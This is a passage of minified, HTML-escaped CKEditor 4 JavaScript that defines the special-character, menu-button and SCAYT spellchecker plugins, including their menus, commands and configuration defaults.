quot;:1},requires:&quot;dialog&quot;,init:function(a){var c=this;CKEDITOR.dialog.add(&quot;specialchar&quot;,this.path+&quot;dialogs/specialchar.js&quot;);a.addCommand(&quot;specialchar&quot;,
{exec:function(){var b=a.langCode,b=c.availableLangs[b]?b:c.availableLangs[b.replace(/-.*/,&quot;&quot;)]?b.replace(/-.*/,&quot;&quot;):&quot;en&quot;;CKEDITOR.scriptLoader.load(CKEDITOR.getUrl(c.path+&quot;dialogs/lang/&quot;+b+&quot;.js&quot;),function(){CKEDITOR.tools.extend(a.lang.specialchar,c.langEntries[b]);a.openDialog(&quot;specialchar&quot;)})},modes:{wysiwyg:1},canUndo:!1});a.ui.addButton&amp;&amp;a.ui.addButton(&quot;SpecialChar&quot;,{label:a.lang.specialchar.toolbar,command:&quot;specialchar&quot;,toolbar:&quot;insert,50&quot;})}});CKEDITOR.config.specialChars=&quot;! \x26quot; # $ % \x26amp; &#039; ( ) * + - . / 0 1 2 3 4 5 6 7 8 9 : ; \x26lt; \x3d \x26gt; ? @ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z [ ] ^ _ ` a b c d e f g h i j k l m n o p q r s t u v w x y z { | } ~ \x26euro; \x26lsquo; \x26rsquo; \x26ldquo; \x26rdquo; \x26ndash; \x26mdash; \x26iexcl; \x26cent; \x26pound; \x26curren; \x26yen; \x26brvbar; \x26sect; \x26uml; \x26copy; \x26ordf; \x26laquo; \x26not; \x26reg; \x26macr; \x26deg; \x26sup2; \x26sup3; \x26acute; \x26micro; \x26para; \x26middot; \x26cedil; \x26sup1; \x26ordm; \x26raquo; \x26frac14; \x26frac12; \x26frac34; \x26iquest; \x26Agrave; \x26Aacute; \x26Acirc; \x26Atilde; \x26Auml; \x26Aring; \x26AElig; \x26Ccedil; \x26Egrave; \x26Eacute; \x26Ecirc; \x26Euml; \x26Igrave; \x26Iacute; \x26Icirc; \x26Iuml; \x26ETH; \x26Ntilde; \x26Ograve; \x26Oacute; \x26Ocirc; \x26Otilde; \x26Ouml; \x26times; \x26Oslash; \x26Ugrave; \x26Uacute; \x26Ucirc; \x26Uuml; \x26Yacute; \x26THORN; \x26szlig; \x26agrave; \x26aacute; \x26acirc; \x26atilde; \x26auml; \x26aring; \x26aelig; \x26ccedil; \x26egrave; \x26eacute; \x26ecirc; \x26euml; \x26igrave; \x26iacute; \x26icirc; \x26iuml; \x26eth; \x26ntilde; \x26ograve; \x26oacute; \x26ocirc; \x26otilde; \x26ouml; \x26divide; \x26oslash; \x26ugrave; \x26uacute; \x26ucirc; \x26uuml; \x26yacute; \x26thorn; \x26yuml; \x26OElig; \x26oelig; \x26#372; \x26#374 \x26#373 \x26#375; \x26sbquo; \x26#8219; \x26bdquo; \x26hellip; \x26trade; \x26#9658; \x26bull; \x26rarr; \x26rArr; \x26hArr; \x26diams; \x26asymp;&quot;.split(&quot; &quot;);CKEDITOR.plugins.add(&quot;menubutton&quot;,{requires:&quot;button,menu&quot;,onLoad:function(){var d=function(c){var a=this._,b=a.menu;a.state!==CKEDITOR.TRISTATE_DISABLED&amp;&amp;(a.on&amp;&amp;b?b.hide():(a.previousState=a.state,b||(b=a.menu=new CKEDITOR.menu(c,{panel:{className:&quot;cke_menu_panel&quot;,attributes:{&quot;aria-label&quot;:c.lang.common.options}}}),b.onHide=CKEDITOR.tools.bind(function(){var b=this.command?c.getCommand(this.command).modes:this.modes;this.setState(!b||b[c.mode]?a.previousState:CKEDITOR.TRISTATE_DISABLED);a.on=0},this),
this.onMenu&amp;&amp;b.addListener(this.onMenu)),this.setState(CKEDITOR.TRISTATE_ON),a.on=1,setTimeout(function(){b.show(CKEDITOR.document.getById(a.id),4)},0)))};CKEDITOR.ui.menuButton=CKEDITOR.tools.createClass({base:CKEDITOR.ui.button,$:function(c){delete c.panel;this.base(c);this.hasArrow=&quot;menu&quot;;this.click=d},statics:{handler:{create:function(c){return new CKEDITOR.ui.menuButton(c)}}}})},beforeInit:function(d){d.ui.addHandler(CKEDITOR.UI_MENUBUTTON,CKEDITOR.ui.menuButton.handler)}});
CKEDITOR.UI_MENUBUTTON=&quot;menubutton&quot;;CKEDITOR.plugins.add(&quot;scayt&quot;,{requires:&quot;menubutton,dialog&quot;,tabToOpen:null,dialogName:&quot;scaytDialog&quot;,onLoad:function(a){CKEDITOR.plugins.scayt.onLoadTimestamp=(new Date).getTime();&quot;moono-lisa&quot;==(CKEDITOR.skinName||a.config.skin)&amp;&amp;CKEDITOR.document.appendStyleSheet(this.path+&quot;skins/&quot;+CKEDITOR.skin.name+&quot;/scayt.css&quot;);CKEDITOR.document.appendStyleSheet(this.path+&quot;dialogs/dialog.css&quot;)},init:function(a){var c=this,d=CKEDITOR.plugins.scayt;this.bindEvents(a);this.parseConfig(a);this.addRule(a);CKEDITOR.dialog.add(this.dialogName,
CKEDITOR.getUrl(this.path+&quot;dialogs/options.js&quot;));this.addMenuItems(a);var b=a.lang.scayt,e=CKEDITOR.env;a.ui.add(&quot;Scayt&quot;,CKEDITOR.UI_MENUBUTTON,{label:b.text_title,title:a.plugins.wsc?a.lang.wsc.title:b.text_title,modes:{wysiwyg:!(e.ie&amp;&amp;(8&gt;e.version||e.quirks))},toolbar:&quot;spellchecker,20&quot;,refresh:function(){var b=a.ui.instances.Scayt.getState();a.scayt&amp;&amp;(b=d.state.scayt[a.name]?CKEDITOR.TRISTATE_ON:CKEDITOR.TRISTATE_OFF);a.fire(&quot;scaytButtonState&quot;,b)},onRender:function(){var b=this;a.on(&quot;scaytButtonState&quot;,
function(a){void 0!==typeof a.data&amp;&amp;b.setState(a.data)})},onMenu:function(){var b=a.scayt;a.getMenuItem(&quot;scaytToggle&quot;).label=a.lang.scayt[b&amp;&amp;d.state.scayt[a.name]?&quot;btn_disable&quot;:&quot;btn_enable&quot;];var c={scaytToggle:CKEDITOR.TRISTATE_OFF,scaytOptions:b?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED,scaytLangs:b?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED,scaytDict:b?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED,scaytAbout:b?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED,WSC:a.plugins.wsc?CKEDITOR.TRISTATE_OFF:
CKEDITOR.TRISTATE_DISABLED};a.config.scayt_uiTabs[0]||delete c.scaytOptions;a.config.scayt_uiTabs[1]||delete c.scaytLangs;a.config.scayt_uiTabs[2]||delete c.scaytDict;b&amp;&amp;!CKEDITOR.plugins.scayt.isNewUdSupported(b)&amp;&amp;(delete c.scaytDict,a.config.scayt_uiTabs[2]=0,CKEDITOR.plugins.scayt.alarmCompatibilityMessage());return c}});a.contextMenu&amp;&amp;a.addMenuItems&amp;&amp;(a.contextMenu.addListener(function(b,d){var e=a.scayt,l,m;e&amp;&amp;(m=e.getSelectionNode())&amp;&amp;(l=c.menuGenerator(a,m),e.showBanner(&quot;.&quot;+a.contextMenu._.definition.panel.className.split(&quot; &quot;).join(&quot; .&quot;)));
return l}),a.contextMenu._.onHide=CKEDITOR.tools.override(a.contextMenu._.onHide,function(b){return function(){var d=a.scayt;d&amp;&amp;d.hideBanner();return b.apply(this)}}))},addMenuItems:function(a){var c=this,d=CKEDITOR.plugins.scayt;a.addMenuGroup(&quot;scaytButton&quot;);for(var b=a.config.scayt_contextMenuItemsOrder.split(&quot;|&quot;),e=0;e&lt;b.length;e++)b[e]=&quot;scayt_&quot;+b[e];if((b=[&quot;grayt_description&quot;,&quot;grayt_suggest&quot;,&quot;grayt_control&quot;].concat(b))&amp;&amp;b.length)for(e=0;e&lt;b.length;e++)a.addMenuGroup(b[e],e-10);a.addCommand(&quot;scaytToggle&quot;,
{exec:function(a){var b=a.scayt;d.state.scayt[a.name]=!d.state.scayt[a.name];!0===d.state.scayt[a.name]?b||d.createScayt(a):b&amp;&amp;d.destroy(a)}});a.addCommand(&quot;scaytAbout&quot;,{exec:function(a){a.scayt.tabToOpen=&quot;about&quot;;d.openDialog(c.dialogName,a)}});a.addCommand(&quot;scaytOptions&quot;,{exec:function(a){a.scayt.tabToOpen=&quot;options&quot;;d.openDialog(c.dialogName,a)}});a.addCommand(&quot;scaytLangs&quot;,{exec:function(a){a.scayt.tabToOpen=&quot;langs&quot;;d.openDialog(c.dialogName,a)}});a.addCommand(&quot;scaytDict&quot;,{exec:function(a){a.scayt.tabToOpen=
&quot;dictionaries&quot;;d.openDialog(c.dialogName,a)}});b={scaytToggle:{label:a.lang.scayt.btn_enable,group:&quot;scaytButton&quot;,command:&quot;scaytToggle&quot;},scaytAbout:{label:a.lang.scayt.btn_about,group:&quot;scaytButton&quot;,command:&quot;scaytAbout&quot;},scaytOptions:{label:a.lang.scayt.btn_options,group:&quot;scaytButton&quot;,command:&quot;scaytOptions&quot;},scaytLangs:{label:a.lang.scayt.btn_langs,group:&quot;scaytButton&quot;,command:&quot;scaytLangs&quot;},scaytDict:{label:a.lang.scayt.btn_dictionaries,group:&quot;scaytButton&quot;,command:&quot;scaytDict&quot;}};a.plugins.wsc&amp;&amp;(b.WSC=
{label:a.lang.wsc.toolbar,group:&quot;scaytButton&quot;,onClick:function(){var b=CKEDITOR.plugins.scayt,d=a.scayt,c=a.elementMode==CKEDITOR.ELEMENT_MODE_INLINE?a.container.getText():a.document.getBody().getText();(c=c.replace(/\s/g,&quot;&quot;))?(d&amp;&amp;b.state.scayt[a.name]&amp;&amp;d.setMarkupPaused&amp;&amp;d.setMarkupPaused(!0),a.lockSelection(),a.execCommand(&quot;checkspell&quot;)):alert(&quot;Nothing to check!&quot;)}});a.addMenuItems(b)},bindEvents:function(a){var c=CKEDITOR.plugins.scayt,d=a.elementMode==CKEDITOR.ELEMENT_MODE_INLINE,b=function(){c.destroy(a)},
e=function(){!c.state.scayt[a.name]||a.readOnly||a.scayt||c.createScayt(a)},f=function(){var b=a.editable();b.attachListener(b,&quot;focus&quot;,function(b){CKEDITOR.plugins.scayt&amp;&amp;!a.scayt&amp;&amp;setTimeout(e,0);b=CKEDITOR.plugins.scayt&amp;&amp;CKEDITOR.plugins.scayt.state.scayt[a.name]&amp;&amp;a.scayt;var c,k;if((d||b)&amp;&amp;a._.savedSelection){b=a._.savedSelection.getSelectedElement();b=!b&amp;&amp;a._.savedSelection.getRanges();for(var h=0;h&lt;b.length;h++)k=b[h],&quot;string&quot;===typeof k.startContainer.$.nodeValue&amp;&amp;(c=k.startContainer.getText().length,
(c&lt;k.startOffset||c&lt;k.endOffset)&amp;&amp;a.unlockSelection(!1))}},this,null,-10)},g=function(){d?a.config.scayt_inlineModeImmediateMarkup?e():(a.on(&quot;blur&quot;,function(){setTimeout(b,0)}),a.on(&quot;focus&quot;,e),a.focusManager.hasFocus&amp;&amp;e()):e();f();var c=a.editable();c.attachListener(c,&quot;mousedown&quot;,function(b){b=b.data.getTarget();var d=a.widgets&amp;&amp;a.widgets.getByElement(b);d&amp;&amp;(d.wrapper=b.getAscendant(function(a){return a.hasAttribute(&quot;data-cke-widget-wrapper&quot;)},!0))},this,null,-10)};a.on(&quot;contentDom&quot;,g);a.on(&quot;beforeCommandExec&quot;,
function(b){var d=a.scayt,e=!1,f=!1,h=!0;b.data.name in c.options.disablingCommandExec&amp;&amp;&quot;wysiwyg&quot;==a.mode?d&amp;&amp;(c.destroy(a),a.fire(&quot;scaytButtonState&quot;,CKEDITOR.TRISTATE_DISABLED)):&quot;bold&quot;!==b.data.name&amp;&amp;&quot;italic&quot;!==b.data.name&amp;&amp;&quot;underline&quot;!==b.data.name&amp;&amp;&quot;strike&quot;!==b.data.name&amp;&amp;&quot;subscript&quot;!==b.data.name&amp;&amp;&quot;superscript&quot;!==b.data.name&amp;&amp;&quot;enter&quot;!==b.data.name&amp;&amp;&quot;cut&quot;!==b.data.name&amp;&amp;&quot;language&quot;!==b.data.name||!d||(&quot;cut&quot;===b.data.name&amp;&amp;(h=!1,f=!0),&quot;language&quot;===b.data.name&amp;&amp;(f=e=!0),a.fire(&quot;reloadMarkupScayt&quot;,
{removeOptions:{removeInside:h,forceBookmark:f,language:e},timeout:0}))});a.on(&quot;beforeSetMode&quot;,function(b){if(&quot;source&quot;==b.data){if(b=a.scayt)c.destroy(a),a.fire(&quot;scaytButtonState&quot;,CKEDITOR.TRISTATE_DISABLED);a.document&amp;&amp;a.document.getBody().removeAttribute(&quot;_jquid&quot;)}});a.on(&quot;afterCommandExec&quot;,function(b){&quot;wysiwyg&quot;!=a.mode||&quot;undo&quot;!=b.data.name&amp;&amp;&quot;redo&quot;!=b.data.name||setTimeout(function(){c.reloadMarkup(a.scayt)},250)});a.on(&quot;readOnly&quot;,function(b){var d;b&amp;&amp;(d=a.scayt,!0===b.editor.readOnly?d&amp;&amp;d.fire(&quot;removeMarkupInDocument&quot;,
{}):d?c.reloadMarkup(d):&quot;wysiwyg&quot;==b.editor.mode&amp;&amp;!0===c.state.scayt[b.editor.name]&amp;&amp;(c.createScayt(a),b.editor.fire(&quot;scaytButtonState&quot;,CKEDITOR.TRISTATE_ON)))});a.on(&quot;beforeDestroy&quot;,b);a.on(&quot;setData&quot;,function(){b();(a.elementMode==CKEDITOR.ELEMENT_MODE_INLINE||a.plugins.divarea)&amp;&amp;g()},this,null,50);a.on(&quot;reloadMarkupScayt&quot;,function(b){var d=b.data&amp;&amp;b.data.removeOptions,e=b.data&amp;&amp;b.data.timeout,f=b.data&amp;&amp;b.data.language,h=a.scayt;h&amp;&amp;setTimeout(function(){f&amp;&amp;(d.selectionNode=a.plugins.language.getCurrentLangElement(a),
d.selectionNode=d.selectionNode&amp;&amp;d.selectionNode.$||null);h.removeMarkupInSelectionNode(d);c.reloadMarkup(h)},e||0)});a.on(&quot;insertElement&quot;,function(){a.fire(&quot;reloadMarkupScayt&quot;,{removeOptions:{forceBookmark:!0}})},this,null,50);a.on(&quot;insertHtml&quot;,function(){a.scayt&amp;&amp;a.scayt.setFocused&amp;&amp;a.scayt.setFocused(!0);a.fire(&quot;reloadMarkupScayt&quot;)},this,null,50);a.on(&quot;insertText&quot;,function(){a.scayt&amp;&amp;a.scayt.setFocused&amp;&amp;a.scayt.setFocused(!0);a.fire(&quot;reloadMarkupScayt&quot;)},this,null,50);a.on(&quot;scaytDialogShown&quot;,function(b){b.data.selectPage(a.scayt.tabToOpen)})},
parseConfig:function(a){var c=CKEDITOR.plugins.scayt;c.replaceOldOptionsNames(a.config);&quot;boolean&quot;!==typeof a.config.scayt_autoStartup&amp;&amp;(a.config.scayt_autoStartup=!1);c.state.scayt[a.name]=a.config.scayt_autoStartup;&quot;boolean&quot;!==typeof a.config.grayt_autoStartup&amp;&amp;(a.config.grayt_autoStartup=!1);&quot;boolean&quot;!==typeof a.config.scayt_inlineModeImmediateMarkup&amp;&amp;(a.config.scayt_inlineModeImmediateMarkup=!1);c.state.grayt[a.name]=a.config.grayt_autoStartup;a.config.scayt_contextCommands||(a.config.scayt_contextCommands=
&quot;ignoreall|add&quot;);a.config.scayt_contextMenuItemsOrder||(a.config.scayt_contextMenuItemsOrder=&quot;suggest|moresuggest|control&quot;);a.config.scayt_sLang||(a.config.scayt_sLang=&quot;en_US&quot;);if(void 0===a.config.scayt_maxSuggestions||&quot;number&quot;!=typeof a.config.scayt_maxSuggestions||0&gt;a.config.scayt_maxSuggestions)a.config.scayt_maxSuggestions=3;if(void 0===a.config.scayt_minWordLength||&quot;number&quot;!=typeof a.config.scayt_minWordLength||1&gt;a.config.scayt_minWordLength)a.config.scayt_minWordLength=3;if(void 0===a.config.scayt_customDictionaryIds||
&quot;string&quot;!==typeof a.config.scayt_customDictionaryIds)a.config.scayt_customDictionaryIds=&quot;&quot;;if(void 0===a.config.scayt_userDictionaryName||&quot;string&quot;!==typeof a.config.scayt_userDictionaryName)a.config.scayt_userDictionaryName=null;if(&quot;string&quot;===typeof a.config.scayt_uiTabs&amp;&amp;3===a.config.scayt_uiTabs.split(&quot;,&quot;).length){var d=[],b=[];a.config.scayt_uiTabs=a.config.scayt_uiTabs.split(&quot;,&quot;);CKEDITOR.tools.search(a.config.scayt_uiTabs,function(a){1===Number(a)||0===Number(a)?(b.push(!0),d.push(Number(a))):
b.push(!1)});null===CKEDITOR.tools.search(b,!1)?a.config.scayt_uiTabs=d:a.config.scayt_uiTabs=[1,1,1]}else a.config.scayt_uiTabs=[1,1,1];&quot;string&quot;!=typeof a.config.scayt_serviceProtocol&amp;&amp;(a.config.scayt_serviceProtocol=null);&quot;string&quot;!=typeof a.config.scayt_serviceHost&amp;&amp;(a.config.scayt_serviceHost=null);&quot;string&quot;!=typeof a.config.scayt_servicePort&amp;&amp;(a.config.scayt_servicePort=null);&quot;string&quot;!=typeof a.config.scayt_servicePath&amp;&amp;(a.config.scayt_servicePath=null);a.config.scayt_moreSuggestions||(a.config.scayt_moreSuggestions=
&quot;on&quot;);&quot;string&quot;!==typeof a.config.scayt_customerId&amp;&amp;(a.config.scayt_customerId=&quot;1:WvF0D4-UtPqN1-43nkD4-NKvUm2-daQqk3-LmNiI-z7Ysb4-mwry24-T8YrS3-Q2tpq2&quot;);&quot;string&quot;!==typeof a.config.scayt_customPunctuation&amp;&amp;(a.config.scayt_customPunctuation=&quot;-&quot;);&quot;string&quot;!==typeof a.config.scayt_srcUrl&amp;&amp;(c=document.location.protocol,c=-1!=c.search(/https?:/)?c:&quot;http:&quot;,a.config.scayt_srcUrl=c+&quot;//svc.webspellchecker.net/spellcheck31/wscbundle/wscbundle.js&quot;);&quot;boolean&quot;!==typeof CKEDITOR.config.scayt_handleCheckDirty&amp;&amp;(CKEDITOR.config.scayt_handleCheckDirty=
!0);&quot;boolean&quot;!==typeof CKEDITOR.config.scayt_handleUndoRedo&amp;&amp;(CKEDITOR.config.scayt_handleUndoRedo=!0);CKEDITOR.config.scayt_handleUndoRedo=CKEDITOR.plugins.undo?CKEDITOR.config.scayt_handleUndoRedo:!1;&quot;boolean&quot;!==typeof a.config.scayt_multiLanguageMode&amp;&amp;(a.config.scayt_multiLanguageMode=!1);&quot;object&quot;!==typeof a.config.scayt_multiLanguageStyles&amp;&amp;(a.config.scayt_multiLanguageStyles={});a.config.scayt_ignoreAllCapsWords&amp;&amp;&quot;boolean&quot;!==typeof a.config.scayt_ignoreAllCapsWords&amp;&amp;(a.config.scayt_ignoreAllCapsWords=
!1);a.config.scayt_ignoreDomainNames&amp;&amp;&quot;boolean&quot;!==typeof a.config.scayt_ignoreDomainNames&amp;&amp;(a.config.scayt_ignoreDomainNames=!1);a.config.scayt_ignoreWordsWithMixedCases&amp;&amp;&quot;boolean&quot;!==typeof a.config.scayt_ignoreWordsWithMixedCases&amp;&amp;(a.config.scayt_ignoreWordsWithMixedCases=!1);a.config.scayt_ignoreWordsWithNumbers&amp;&amp;&quot;boolean&quot;!==typeof a.config.scayt_ignoreWordsWithNumbers&amp;&amp;(a.config.scayt_ignoreWordsWithNumbers=!1);if(a.config.scayt_disableOptionsStorage){var c=CKEDITOR.tools.isArray(a.config.scayt_disableOptionsStorage)?
a.config.scayt_disableOptionsStorage:&quot;string&quot;===typeof a.config.scayt_disableOptionsStorage?[a.config.scayt_disableOptionsStorage]:void 0,e=&quot;all options lang ignore-all-caps-words ignore-domain-names ignore-words-with-mixed-cases ignore-words-with-numbers&quot;.split(&quot; &quot;),f=[&quot;lang&quot;,&quot;ignore-all-caps-words&quot;,&quot;ignore-domain-names&quot;,&quot;ignore-words-with-mixed-cases&quot;,&quot;ignore-words-with-numbers&quot;],g=CKEDITOR.tools.search,k=CKEDITOR.tools.indexOf;a.config.scayt_disableOptionsStorage=function(a){for(var b=[],d=0;d&lt;
a.length;d++){var c=a[d],p=!!g(a,&quot;options&quot;);if(!g(e,c)||p&amp;&amp;g(f,function(a){if(&quot;lang&quot;===a)return!1}))return;g(f,c)&amp;&amp;f.splice(k(f,c),1);if(&quot;all&quot;===c||p&amp;&amp;g(a,&quot;lang&quot;))return[];&quot;options&quot;===c&amp;&amp;(f=[&quot;lang&quot;])}return b=b.concat(f)}(c)}},addRule:function(a){var c=CKEDITOR.plugins.scayt,d=a.dataProcessor,b=d&amp;&amp;d.htmlFilter,e=a._.elementsPath&amp;&amp;a._.elementsPath.filters,d=d&amp;&amp;d.dataFilter,f=a.addRemoveFormatFilter,g=function(b){if(a.scayt&amp;&amp;(b.hasAttribute(c.options.data_attribute_name)||b.hasAttribute(c.options.problem_grammar_data_attribute)))return!1},
k=function(b){var d=!0;a.scayt&amp;&amp;(b.hasAttribute(c.options.data_attribute_name)||b.hasAttribute(c.options.problem_grammar_data_attribute))&amp;&amp;(d=!1);return d};e&amp;&amp;e.push(g);d&amp;&amp;d.addRules({elements:{span:function(a){var b=a.hasClass(c.options.misspelled_word_class)&amp;&amp;a.attributes[c.options.data_attribute_name],d=a.hasClass(c.options.problem_grammar_class)&amp;&amp;a.attributes[c.options.problem_grammar_data_attribute];c&amp;&amp;(b||d)&amp;&amp;delete a.name;return a}}});b&amp;&amp;b.addRules({elements:{span:function(a){var b=a.hasClass(c.options.misspelled_word_class)&amp;&amp;
a.attributes[c.options.data_attribute_name],d=a.hasClass(c.options.problem_grammar_class)&amp;&amp;a.attributes[c.options.problem_grammar_data_attribute];c&amp;&amp;(b||d)&amp;&amp;delete a.name;return a}}});f&amp;&amp;f.call(a,k)},scaytMenuDefinition:function(a){var c=this,d=CKEDITOR.plugins.scayt;a=a.scayt;return{scayt:{scayt_ignore:{label:a.getLocal(&quot;btn_ignore&quot;),group:&quot;scayt_control&quot;,order:1,exec:function(a){a.scayt.ignoreWord()}},scayt_ignoreall:{label:a.getLocal(&quot;btn_ignoreAll&quot;),group:&quot;scayt_control&quot;,order:2,exec:function(a){a.scayt.ignoreAllWords()}},
scayt_add:{label:a.getLocal(&quot;btn_addWord&quot;),group:&quot;scayt_control&quot;,order:3,exec:function(a){var d=a.scayt;setTimeout(function(){d.addWordToUserDictionary()},10)}},scayt_option:{label:a.getLocal(&quot;btn_options&quot;),group:&quot;scayt_control&quot;,order:4,exec:function(a){a.scayt.tabToOpen=&quot;options&quot;;d.openDialog(c.dialogName,a)},verification:function(a){return 1==a.config.scayt_uiTabs[0]?!0:!1}},scayt_language:{label:a.getLocal(&quot;btn_langs&quot;),group:&quot;scayt_control&quot;,order:5,exec:function(a){a.scayt.tabToOpen=&quot;langs&quot;;d.openDialog(c.dialogName,
a)},verification:function(a){return 1==a.config.scayt_uiTabs[1]?!0:!1}},scayt_dictionary:{label:a.getLocal(&quot;btn_dictionaries&quot;),group:&quot;scayt_control&quot;,order:6,exec:function(a){a.scayt.tabToOpen=&quot;dictionaries&quot;;d.openDialog(c.dialogName,a)},verification:function(a){return 1==a.config.scayt_uiTabs[2]?!0:!1}},scayt_about:{label:a.getLocal(&quot;btn_about&quot;),group:&quot;scayt_control&quot;,order:7,exec:function(a){a.scayt.tabToOpen=&quot;about&quot;;d.openDialog(c.dialogName,a)}}},grayt:{grayt_problemdescription:{label:&quot;Grammar problem description&quot;,
group:&quot;grayt_description&quot;,order:1,state:CKEDITOR.TRISTATE_DISABLED,exec:function(a){}},grayt_ignore:{label:a.getLocal(&quot;btn_ignore&quot;),group:&quot;grayt_control&quot;,order:2,exec:function(a){a.scayt.ignorePhrase()}},grayt_ignoreall:{label:a.getLocal(&quot;btn_ignoreAll&quot;),group:&quot;grayt_control&quot;,order:3,exec:function(a){a.scayt.ignoreAllPhrases()}}}}},buildSuggestionMenuItems:function(a,c,d){var b={},e={},f=d?&quot;word&quot;:&quot;phrase&quot;,g=d?&quot;startGrammarCheck&quot;:&quot;startSpellCheck&quot;,k=a.scayt;if(0&lt;c.length&amp;&amp;&quot;no_any_suggestions&quot;!==c[0])if(d)for(d=
0;d&lt;c.length;d++){var l=&quot;scayt_suggest_&quot;+CKEDITOR.plugins.scayt.suggestions[d].replace(&quot; &quot;,&quot;_&quot;);a.addCommand(l,this.createCommand(CKEDITOR.plugins.scayt.suggestions[d],f,g));d&lt;a.config.scayt_maxSuggestions?(a.addMenuItem(l,{label:c[d],command:l,group:&quot;scayt_suggest&quot;,order:d+1}),b[l]=CKEDITOR.TRISTATE_OFF):(a.addMenuItem(l,{label:c[d],command:l,group:&quot;scayt_moresuggest&quot;,order:d+1}),e[l]=CKEDITOR.TRISTATE_OFF,&quot;on&quot;===a.config.scayt_moreSuggestions&amp;&amp;(a.addMenuItem(&quot;scayt_moresuggest&quot;,{label:k.getLocal(&quot;btn_moreSuggestions&quot;),
group:&quot;scayt_moresuggest&quot;,order:10,getItems:function(){return e}}),b.scayt_moresuggest=CKEDITOR.TRISTATE_OFF))}else for(d=0;d&lt;c.length;d++)l=&quot;grayt_suggest_&quot;+CKEDITOR.plugins.scayt.suggestions[d].replace(&quot; &quot;,&quot;_&quot;),a.addCommand(l,this.createCommand(CKEDITOR.plugins.scayt.suggestions[d],f,g)),a.addMenuItem(l,{label:c[d],command:l,group:&quot;grayt_suggest&quot;,order:d+1}),b[l]=CKEDITOR.TRISTATE_OFF;else b.no_scayt_suggest=CKEDITOR.TRISTATE_DISABLED,a.addCommand(&quot;no_scayt_suggest&quot;,{exec:function(){}}),a.addMenuItem(&quot;no_scayt_suggest&quot;,
{label:k.getLocal(&quot;btn_noSuggestions&quot;)||&quot;no_scayt_suggest&quot;,command:&quot;no_scayt_suggest&quot;,group:&quot;scayt_suggest&quot;,order:0});return b},menuGenerator:function(a,c){var d=a.scayt,b=this.scaytMenuDefinition(a),e={},f=a.config.scayt_contextCommands.split(&quot;|&quot;),g=c.getAttribute(d.getLangAttribute())||d.getLang(),k,l,m,n;l=d.isScaytNode(c);m=d.isGraytNode(c);l?(b=b.scayt,k=c.getAttribute(d.getScaytNodeAttributeName()),d.fire(&quot;getSuggestionsList&quot;,{lang:g,word:k}),e=this.buildSuggestionMenuItems(a,CKEDITOR.plugins.scayt.suggestions,
l)):m&amp;&amp;(b=b.grayt,e=c.getAttribute(d.getGraytNodeAttributeName()),d.getGraytNodeRuleAttributeName?(k=c.getAttribute(d.getGraytNodeRuleAttributeName()),d.getProblemDescriptionText(e,k,g)):d.getProblemDescriptionText(e,g),n=d.getProblemDescriptionText(e,k,g),b.grayt_problemdescription&amp;&amp;n&amp;&amp;(n=n.replace(/([.!?])\s/g,&quot;$1\x3cbr\x3e&quot;),b.grayt_problemdescription.label=n),d.fire(&quot;getGrammarSuggestionsList&quot;,{lang:g,phrase:e,rule:k}),e=this.buildSuggestionMenuItems(a,CKEDITOR.plugins.scayt.suggestions,l));if(l&amp;&amp;
&quot;off&quot;==a.config.scayt_contextCommands)return e;for(var h in b)l&amp;&amp;-1==CKEDITOR.tools.indexOf(f,h.replace(&quot;scayt_&quot;,&quot;&quot;))&amp;&amp;&quot;all&quot;!=a.config.scayt_contextCommands||m&amp;&amp;&quot;grayt_problemdescription&quot;!==h&amp;&amp;-1==CKEDITOR.tools.indexOf(f,h.replace(&quot;grayt_&quot;,&quot;&quot;))&amp;&amp;&quot;all&quot;!=a.config.scayt_contextCommands||(e[h]=&quot;undefined&quot;!=typeof b[h].state?b[h].state:CKEDITOR.TRISTATE_OFF,&quot;function&quot;!==typeof b[h].verification||b[h].verification(a)||delete e[h],a.addCommand(h,{exec:b[h].exec}),a.addMenuItem(h,{label:a.lang.scayt[b[h].label]||
b[h].label,command:h,group:b[h].group,order:b[h].order}));return e},createCommand:function(a,c,d){return{exec:function(b){b=b.scayt;var e={};e[c]=a;b.replaceSelectionNode(e);&quot;startGrammarCheck&quot;===d&amp;&amp;b.removeMarkupInSelectionNode({grammarOnly:!0});b.fire(d)}}}});
CKEDITOR.plugins.scayt={charsToObserve:[{charName:&quot;cke-fillingChar&quot;,charCode:function(){var a=CKEDITOR.version.match(/^\d(\.\d*)*/),a=a&amp;&amp;a[0],c;if(a){c=&quot;4.5.7&quot;;var d,a=a.replace(/\./g,&quot;&quot;);c=c.replace(/\./g,&quot;&quot;);d=a.length-c.length;d=0&lt;=d?d:0;c=parseInt(a)&gt;=parseInt(c)*Math.pow(10,d)}return c?Array(7).join(String.fromCharCode(8203)):String.fromCharCode(8203)}()}],onLoadTimestamp:&quot;&quot;,state:{scayt:{},grayt:{}},warningCounter:0,suggestions:[],options:{disablingCommandExec:{source:!0,newpage:!0,templates:!0},
data_attribute_name:&quot;data-scayt-word&quot;,misspelled_word_class:&quot;scayt-misspell-word&quot;,problem_grammar_data_attribute:&quot;data-grayt-phrase&quot;,problem_grammar_class:&quot;gramm-problem&quot;},backCompatibilityMap:{scayt_service_protocol:&quot;scayt_serviceProtocol&quot;,scayt_service_host:&quot;scayt_serviceHost&quot;,scayt_service_port:&quot;scayt_servicePort&quot;,scayt_service_path:&quot;scayt_servicePath&quot;,scayt_customerid:&quot;scayt_customerId&quot;},openDialog:function(a,c){var d=c.scayt;d.isAllModulesReady&amp;&amp;!1===d.isAllModulesReady()||(c.lockSelection(),
c.openDialog(a))},alarmCompatibilityMessage:function(){5&gt;this.warningCounter&amp;&amp;(console.warn(&quot;You are using the latest version of SCAYT plugin for CKEditor with the old application version. In order to have access to the newest features, it is recommended to upgrade the application version to latest one as well. Contact us for more details at support@webspellchecker.net.&quot;),this.warningCounter+=1)},isNewUdSupported:function(a){return a.getUserDictionary?!0:!1},reloadMarkup:function(a){var c;a&amp;&amp;(c=a.getScaytLangList(),
